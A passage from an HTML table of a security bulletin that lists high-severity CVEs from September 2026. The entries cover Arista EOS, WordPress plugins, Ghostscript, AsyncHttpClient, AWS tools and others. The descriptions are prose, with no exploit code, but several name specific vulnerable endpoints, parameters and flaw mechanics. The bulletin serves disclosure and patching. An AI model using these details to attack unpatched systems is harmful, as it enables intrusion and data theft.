&lt;td&gt;Under certain circumstances on affected platforms running Arista EOS with gRPC Network Packet Sampling Interface (gNPSI) enabled, an unauthenticated gNPSI client can craft a malicious request to allow arbitrary code execution, granting an attacker full administrative control over the compromised switch.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73456&quot; target=&quot;_blank&quot;&gt;CVE-2026-73456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with Dynamic Host Configuration Protocol (DHCP) relay configured, an unauthenticated attacker with network access could send a crafted DHCP reply packet from an IP address that is not configured as a helper address, and the relay agent would forward it to clients without validating the source. This could allow the attacker to supply clients with malicious network configuration parameters, potentially resulting in traffic interception or denial of service for affected clients.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73437&quot; target=&quot;_blank&quot;&gt;CVE-2026-73437&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;A privileged attacker can exploit certain operation to execute arbitrary commands with root privileges, leading to full device compromise. An authenticated user can exploit gRPC Network Security Interface (gNSI) Certz service on Arista EOS-based products to escalate privileges and execute arbitrary OS commands via a crafted Certz Rotate request. The Bootz service is also affected.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73447&quot; target=&quot;_blank&quot;&gt;CVE-2026-73447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with Open Shortest Path First version 2 (OSPFv2) configured, a specially crafted OSPFv2 packet from an unauthenticated attacker on the same broadcast segment, with OSPFv2 authentication configured can cause adjacency flapping and packet loss. The disruption can affect routing across the broader OSPF domain.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73435&quot; target=&quot;_blank&quot;&gt;CVE-2026-73435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with gRPC Network Security Interface (gNSI) Credentialz configured, a specially crafted request can cause unintended modifications to the target account&#039;s properties. This may result in the account being assigned elevated privileges or access beyond what an administrator intended.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73454&quot; target=&quot;_blank&quot;&gt;CVE-2026-73454&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with authenticated Bidirectional Forwarding Detection (BFD) sessions configured, a specially crafted packet can cause the BFD session(s) to go down. This may result in undesirable network changes because various routing protocols monitor status on BFD session(s).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73458&quot; target=&quot;_blank&quot;&gt;CVE-2026-73458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected EOS platforms with AAA-based gRPC authorization enabled for OpenConfig, gRPC requests of an authenticated user to OpenConfig may use the wrong privilege level, resulting in an authorization using the wrong AAA method list. This does not impact non-gRPC OpenConfig requests such as NETCONF.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73461&quot; target=&quot;_blank&quot;&gt;CVE-2026-73461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with gRPC Network Management Interface (gNMI) enabled, a specially crafted request could allow a malicious authenticated client with gRPC Network Management Interface (gNMI) access to execute arbitrary code with root privileges on the switch.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73464&quot; target=&quot;_blank&quot;&gt;CVE-2026-73464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with OpenConfig-related services (i.e., gNMI, gNSI, RESTCONF and NETCONF), sensitive requests and responses may be unintentionally logged. These may be stored on the local EOS device or recorded on remote accounting servers. Note that gRPC-based streaming via Streaming Telemetry Agent to CloudVision is not affected by this vulnerability. Examples of sensitive information include: - Sensitive CLI commands (e.g., &quot;username bob secret myPass&quot;) - Sensitive OpenConfig YANG leafs (e.g., &quot;system/aaa/global/tacacs/config/secret-key&quot;) This issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2380&quot; target=&quot;_blank&quot;&gt;CVE-2026-2380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS, if OpenConfig is configured and running a gNMI server on the system, and if gNSI Pathz is configured and a gNSI Pathz policy is present on the system, then gNMI may fail to correctly enforce the rules in this policy if both a group rule and a user rule for the same path is present in the policy. Under certain conditions, this can lead to an authenticated user gaining unauthorized permission to read or write gNMI paths that the Pathz policy is intended to restrict.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73439&quot; target=&quot;_blank&quot;&gt;CVE-2026-73439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with IS-IS configured on a broadcast interface, an unauthenticated attacker can send a crafted IS-IS Hello Protocol Data Unit (PDU) that causes the device to tear down an established IS-IS adjacency. This may result in traffic disruption and loss of IP reachability for prefixes advertised through that adjacency.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73446&quot; target=&quot;_blank&quot;&gt;CVE-2026-73446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with Open Shortest Path First version 3 (OSPFv3) configured, a specially crafted packet can cause the OSPFv3 agent to restart unexpectedly.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73455&quot; target=&quot;_blank&quot;&gt;CVE-2026-73455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with IS-IS configured, an unauthenticated attacker who can inject a specially crafted IS-IS LSP PDU can cause the legitimate LSP to be unexpectedly purged from the IS-IS link-state database. This may result in traffic loss.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73459&quot; target=&quot;_blank&quot;&gt;CVE-2026-73459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--VeloCloud Edge&lt;/td&gt;
&lt;td&gt;An unauthenticated actor with network access to the private HA interconnect may trigger sensitive HA peer functions without verification. This could result in elevated command execution on Edge units where HA is enabled.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86106&quot; target=&quot;_blank&quot;&gt;CVE-2026-86106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--VeloCloud Edge&lt;/td&gt;
&lt;td&gt;Insufficient validation of inputs supplied through affected VeloCloud Edge management and configuration workflows may allow an authorized management request or configuration value to be interpreted as an operating-system command. Successful exploitation may allow command execution with elevated privileges on the affected VeloCloud Edge.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86108&quot; target=&quot;_blank&quot;&gt;CVE-2026-86108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArnasDon--wacrm&lt;/td&gt;
&lt;td&gt;WACRM is a self-hostable CRM template for WhatsApp. In version 0.7.0 and earlier, the profiles_update row-level security policy in supabase/migrations/017_account_sharing.sql permits authenticated users to modify their own account_role and account_id, allowing a viewer to self-promote or move into another tenant and then access or modify tenant resources. Separately, match_ai_knowledge_fts and match_ai_knowledge_semantic in supabase/migrations/030_ai_knowledge.sql run as SECURITY DEFINER, accept a caller-controlled p_account_id, and omit an is_account_member check, allowing an authenticated non-member to read another tenant&#039;s knowledge-base chunks. This vulnerability is fixed with commit e01f7ed37184f972ace8fb2da5c3e37e56a6050f.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77240&quot; target=&quot;_blank&quot;&gt;CVE-2026-77240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArnasDon--wacrm&lt;/td&gt;
&lt;td&gt;WACRM is a self-hostable CRM template for WhatsApp. In version 0.7.0 and earlier, WACRM flow and automation write routes authenticate account viewers but do not enforce the agent role before using a service-role database client that bypasses row-level security. In src/app/api/flows/[id]/route.ts, src/app/api/flows/[id]/activate/route.ts, and src/app/api/flows/route.ts, a viewer can create, edit, activate, or delete flows because membership-only checks are followed by service-role writes. In src/app/api/automations/route.ts and src/app/api/automations/engine/route.ts, a viewer can create active automations and trigger outbound WhatsApp actions without the role required by the underlying write policies. This can permit unauthorized workflow changes, destructive flow deletion, and outbound actions from a role intended to be read-only. This vulnerability is fixed with commit 03e851bea56dcf6bb21ff1b80ba531372bf3269f.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77239&quot; target=&quot;_blank&quot;&gt;CVE-2026-77239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arraytics--Eventin Event Calendar, Tickets, Registration, Booking &amp;amp; WooCommerce&lt;/td&gt;
&lt;td&gt;The Eventin - Event Calendar, Tickets, Registration, Booking &amp;amp; WooCommerce plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.1.23. This is due to the `PermissionManager::manage_permissions()` function being registered as a callback on WordPress core&#039;s `map_meta_cap` filter and unconditionally returning the always-true `&#039;exist&#039;` primitive for every capability check whenever the evaluated user ID is 1, without scoping this behavior to plugin-specific capabilities. This makes it possible for authenticated attackers whose account is user ID 1, even subscribers, to pass every WordPress capability check, including `manage_options`, `edit_plugins`, `edit_themes`, `promote_users`, and `update_core`, thereby elevating their privileges to administrator-equivalent power and achieving full site takeover, including remote code execution via the plugin and theme editors. Exploitation is only impactful when user ID 1 has been deliberately demoted to a lower-privilege role as a common administrator-account hardening practice; on default installations where user ID 1 retains the administrator role, no incremental privilege gain occurs.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75983&quot; target=&quot;_blank&quot;&gt;CVE-2026-75983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Artifex Software--Ghostscript&lt;/td&gt;
&lt;td&gt;Ghostscript before 10.08.0 contains a heap-based buffer overflow vulnerability in the JPEG 2000 output adapter (base/sjpx_openjpeg.c) that allows attackers to cause memory corruption by supplying a crafted PDF containing a JPEG 2000 image with mismatched component subsampling factors. When image components declare different subsampling values, the non-samescale sub-byte-depth output path allocates a row buffer sized for packed output but writes a full byte per output column regardless of bit depth, overflowing the allocation and corrupting internal chunk-allocator metadata to achieve code execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-39919&quot; target=&quot;_blank&quot;&gt;CVE-2026-39919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AsyncFuncAI--deepwiki-open&lt;/td&gt;
&lt;td&gt;DeepWiki-Open through commit d92819a contains an arbitrary file read vulnerability in the unauthenticated /ws/chat WebSocket endpoint that accepts repo_url as a filesystem path with no containment. Attackers can supply arbitrary directory paths to read all files with supported extensions including Python, JavaScript, YAML, and JSON files containing hardcoded secrets and credentials.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90946&quot; target=&quot;_blank&quot;&gt;CVE-2026-90946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AsyncHttpClient--async-http-client&lt;/td&gt;
&lt;td&gt;The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.1.0 until 2.16.1 and 3.0.12, requests using an authenticated SOCKS proxy can expose the proxy&#039;s credentials to the origin because NettyRequestFactory and NettyRequestSender attach Proxy-Authorization without confirming that the request is being sent to an HTTP proxy. With preemptive proxy authentication, the header is attached to a plaintext HTTP request, exposing credentials such as directly reversible Basic credentials to the origin. With the default non-preemptive flow, a hostile origin can return a 407 response and ProxyUnauthorized407Interceptor sends the proxy credentials through the existing SOCKS tunnel, including NTLM, Kerberos, and SPNEGO credentials. Releases before 2.1.0 lack SOCKS proxy support. This issue is fixed in versions 2.16.1 and 3.0.12.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85719&quot; target=&quot;_blank&quot;&gt;CVE-2026-85719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AsyncHttpClient--async-http-client&lt;/td&gt;
&lt;td&gt;The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, automatic response decompression on the HTTP/1.1 path uses ChannelManager.newHttpContentDecompressor() to install Http1ContentDecompressor without a cumulative output-size limit. A hostile or compromised server, or an attacker who can alter a response in transit, can send a small gzip, deflate, or snappy response that expands across chunks until the client exhausts its heap and raises OutOfMemoryError; brotli and zstd are also affected when their optional codecs are present. In versions 3.0.8 through 3.0.10, the HTTP/2 decompressor is also unbounded, so switching protocols does not mitigate the issue on those releases. A limit applied to each decode call is insufficient because the response can be delivered as many small chunks, so the fixed implementation tracks total decompressed bytes for the whole response. This issue is fixed in versions 2.16.1 and 3.0.12.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85721&quot; target=&quot;_blank&quot;&gt;CVE-2026-85721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Automattic--WordPress&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Automattic WordPress core allows DOM-Based XSS. This issue affects WordPress versions 7.1 before 7.1.1; 7.0 through 7.0.4; 6.9 through 6.9.7; 6.8 through 6.8.8; 6.7 through 6.7.7; 6.6 through 6.6.7; 6.5 through 6.5.10; 6.4 through 6.4.10; 6.3 through 6.3.10; 6.2 through 6.2.11; 6.1 through 6.1.12; 6.0 through 6.0.14; 5.9 through 5.9.16; 5.8 through 5.8.15; 5.7 through 5.7.17; 5.6 through 5.6.19; 5.5 through 5.5.20; 5.4 through 5.4.21; 5.3 through 5.3.23; 5.2 through 5.2.26; 5.1 through 5.1.24; 5.0 through 5.0.27; 4.9 through 4.9.31; 4.8 through 4.8.30; and 4.7 through 4.7.35. The Unauthenticated Stored XSS vulnerability in the WordPress core can be reproduced on a default WordPress installation. Comment moderation is disabled by default, and the requirement for commenters to have a previously approved comment can be bypassed.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93485&quot; target=&quot;_blank&quot;&gt;CVE-2026-93485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--aws-network-policy-agent&lt;/td&gt;
&lt;td&gt;Improper validation of pod identifier uniqueness in aws-network-policy-agent in Amazon EKS Network Policy Agent before v1.4.0 might allow an authenticated remote user to bypass NetworkPolicy enforcement on co-located pods in other namespaces via crafted pod and namespace names that produce pod identifier collisions. To remediate this issue, users should upgrade to Amazon EKS Network Policy Agent 1.4.0 or later and Amazon VPC CNI Managed Add-on v1.22.4 or later (which includes Network Policy Agent v1.4.0).&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86831&quot; target=&quot;_blank&quot;&gt;CVE-2026-86831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--AWSIoTPythonSDK&lt;/td&gt;
&lt;td&gt;Improper validation of certificate with host mismatch in the MQTT client TLS connection layer in AWS IoT Device SDK for Python 1.5.3 through 1.6.0 on Python 3.7 and later might allow an adversary-in-the-middle actor to impersonate the AWS IoT Core endpoint, read device telemetry, and inject arbitrary MQTT messages that the device processes as authentic, via a certificate issued for an unrelated hostname by a certificate authority present in the device trust store. To remediate this issue, users should upgrade to version 1.6.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92943&quot; target=&quot;_blank&quot;&gt;CVE-2026-92943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--iam-identity-center-team&lt;/td&gt;
&lt;td&gt;Incorrect privilege assignment in Temporary Elevated Access Management (TEAM) for AWS IAM Identity Center solution before version 1.5.1 might allow an authenticated remote user with application-level access to read, approve, modify, or revoke arbitrary access requests, thereby obtaining unintended temporary elevated access to the AWS accounts accessed using the TEAM deployment. This issue has been addressed in TEAM version 1.5.1 or later. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86830&quot; target=&quot;_blank&quot;&gt;CVE-2026-86830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AxDSan--mnemosyne&lt;/td&gt;
&lt;td&gt;Mnemosyne is a memory layer for artificial intelligence agents. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT&#039;s header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key. The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library. For users who cannot upgrade immediately, restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable. The vulnerability is not exploitable against an unreachable endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59163&quot; target=&quot;_blank&quot;&gt;CVE-2026-59163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AyeCode Ltd--Location Manager&lt;/td&gt;
&lt;td&gt;The Location Manager plugin for WordPress is vulnerable to generic SQL Injection via &#039;latitude&#039; and &#039;longitude&#039; REST API Parameters in all versions up to, and including, 2.3.38 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The injection is triggered when the orderby=lat_lon parameter is supplied, and affects multiple publicly accessible REST endpoints including geodir/v2/locations/cities, /regions, /countries, and /neighbourhoods via both the get_locations() and get_neighbourhoods() functions.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85705&quot; target=&quot;_blank&quot;&gt;CVE-2026-85705&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;b2evolution--b2evolution CMS&lt;/td&gt;
&lt;td&gt;b2evolution CMS versions 6.7.8 through 7.2.5 contain an incomplete fix for CVE-2016-8901 where the serialized-array object check in param_check_serialized_array() fails to reject payloads with negative integer array keys. Unauthenticated attackers can submit crafted serialized PHP objects via POST requests to htsrv/call_plugin.php that bypass validation and reach unserialize(), instantiating arbitrary PHP objects with attacker-chosen properties that may enable code execution if suitable POP gadget chains exist.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76834&quot; target=&quot;_blank&quot;&gt;CVE-2026-76834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;backstage--backstage&lt;/td&gt;
&lt;td&gt;Backstage is an open framework for building developer portals. Prior to 1.14.6 and from 1.15.0 until 1.15.4, the @backstage/plugin-techdocs-node package insufficiently validates mkdocs.yml supplied by an authenticated user who can register or modify a TechDocs source. Unsafe Python YAML tags, markdown_extensions names and configuration, theme options, and extra_templates values can reach the documentation generator and cause unintended code execution. The resulting impact is limited to the files, credentials, network access, and other resources available to the TechDocs backend or build container. This issue is fixed in versions 1.14.6 and 1.15.4.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88064&quot; target=&quot;_blank&quot;&gt;CVE-2026-88064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;batiste--django-page-cms&lt;/td&gt;
&lt;td&gt;django-page-cms through 2.0.13 exempts five admin mutation views from CSRF protection in pages/admin/views.py, allowing attackers to forge requests that modify page content. Signed-in editors visiting a malicious page can be tricked into storing unescaped content that renders to all visitors, enabling stored cross-site scripting attacks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93456&quot; target=&quot;_blank&quot;&gt;CVE-2026-93456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BC-SECURITY--Empire&lt;/td&gt;
&lt;td&gt;BC Security Empire before 6.7.1 fails to validate the multipart filename parameter in upload endpoints, allowing authenticated operators to write files to arbitrary paths on the C2 server. Attackers can use path traversal sequences in the filename to bypass directory containment and write malicious files to sensitive locations for code execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92748&quot; target=&quot;_blank&quot;&gt;CVE-2026-92748&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Belden--Hirschmann HiOS Switch Platform&lt;/td&gt;
&lt;td&gt;Hirschmann HiOS Switch Platform devices contain a denial-of-service vulnerability in the integrated web server due to missing validation of HTTP(S) content. A remote unauthenticated attacker can send a specially crafted HTTP(S) request to a specific endpoint that is processed incorrectly, causing the device to perform an unintended reboot and resulting in a temporary denial-of-service condition. This vulnerability has been addressed in versions 07.1.12, 08.7.10, 09.0.13, 09.3.03, 10.3.08, and 10.5.00.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89025&quot; target=&quot;_blank&quot;&gt;CVE-2026-89025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bookstackapp--bookstack&lt;/td&gt;
&lt;td&gt;BookStack before 26.05.5 contains an authentication bypass vulnerability in its social login implementation that allows unauthenticated attackers to sign in as arbitrary users by authenticating through a different social provider sharing the same driver_id namespace. Attackers can authenticate at one enabled social provider using a user ID that matches an account linked to a different social provider, bypassing credential verification entirely because the SocialAuthService::handleLoginCallback query ignores the driver column when retrieving linked account records.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89022&quot; target=&quot;_blank&quot;&gt;CVE-2026-89022&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bransys--ELD&lt;/td&gt;
&lt;td&gt;Bransys ELD&amp;nbsp;is shipped with hardcoded MQTT credentials, which will grant read access to real-time data for every active device across a subset of carriers that were connected to the affected MQTT broker.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86520&quot; target=&quot;_blank&quot;&gt;CVE-2026-86520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;brechtvds--WP Recipe Maker&lt;/td&gt;
